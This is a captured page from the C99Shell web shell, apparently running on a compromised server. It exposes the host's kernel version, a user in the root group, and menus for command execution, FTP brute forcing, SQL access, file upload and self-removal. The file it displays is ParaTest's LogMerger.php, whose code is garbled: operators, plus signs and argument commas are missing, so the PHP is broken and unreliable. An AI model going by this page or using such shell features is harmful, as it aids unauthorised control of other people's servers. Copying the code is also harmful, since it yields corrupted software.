!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/brianium/paratest/src/JUnit/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogMerger.php (2.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ParaTest\JUnit;

use 
SplFileInfo;

use function 
array_merge;
use function 
assert;
use function 
ksort;

/**
 * @internal
 *
 * @immutable
 */
final class LogMerger
{
    
/** @param list<SplFileInfo> $junitFiles */
    
public function merge(array $junitFiles): TestSuite
    
{
        
$mainSuite null;
        foreach (
$junitFiles as $junitFile) {
            if (! 
$junitFile->isFile()) {
                continue;
            }

            
$otherSuite TestSuite::fromFile($junitFile);
            if (
$mainSuite === null) {
                
$mainSuite $otherSuite;
                continue;
            }

            if (
$mainSuite->name !== $otherSuite->name) {
                if (
$mainSuite->name !== '') {
                    
$mainSuite = new TestSuite(
                        
'',
                        
$mainSuite->tests,
                        
$mainSuite->assertions,
                        
$mainSuite->failures,
                        
$mainSuite->errors,
                        
$mainSuite->skipped,
                        
$mainSuite->time,
                        
'',
                        [
$mainSuite->name => $mainSuite],
                        [],
                    );
                }

                if (
$otherSuite->name !== '') {
                    
$otherSuite = new TestSuite(
                        
'',
                        
$otherSuite->tests,
                        
$otherSuite->assertions,
                        
$otherSuite->failures,
                        
$otherSuite->errors,
                        
$otherSuite->skipped,
                        
$otherSuite->time,
                        
'',
                        [
$otherSuite->name => $otherSuite],
                        [],
                    );
                }
            }

            
$mainSuite $this->mergeSuites($mainSuite$otherSuite);
        }

        
assert($mainSuite !== null);

        return 
$mainSuite;
    }

    private function 
mergeSuites(TestSuite $suite1TestSuite $suite2): TestSuite
    
{
        
assert($suite1->name === $suite2->name);

        
$suites $suite1->suites;
        foreach (
$suite2->suites as $suite2suiteName => $suite2suite) {
            if (! isset(
$suites[$suite2suiteName])) {
                
$suites[$suite2suiteName] = $suite2suite;
                continue;
            }

            
$suites[$suite2suiteName] = $this->mergeSuites(
                
$suites[$suite2suiteName],
                
$suite2suite,
            );
        }

        
ksort($suites);

        return new 
TestSuite(
            
$suite1->name,
            
$suite1->tests $suite2->tests,
            
$suite1->assertions $suite2->assertions,
            
$suite1->failures $suite2->failures,
            
$suite1->errors $suite2->errors,
            
$suite1->skipped $suite2->skipped,
            
$suite1->time $suite2->time,
            
$suite1->file,
            
$suites,
            
array_merge($suite1->cases$suite2->cases),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--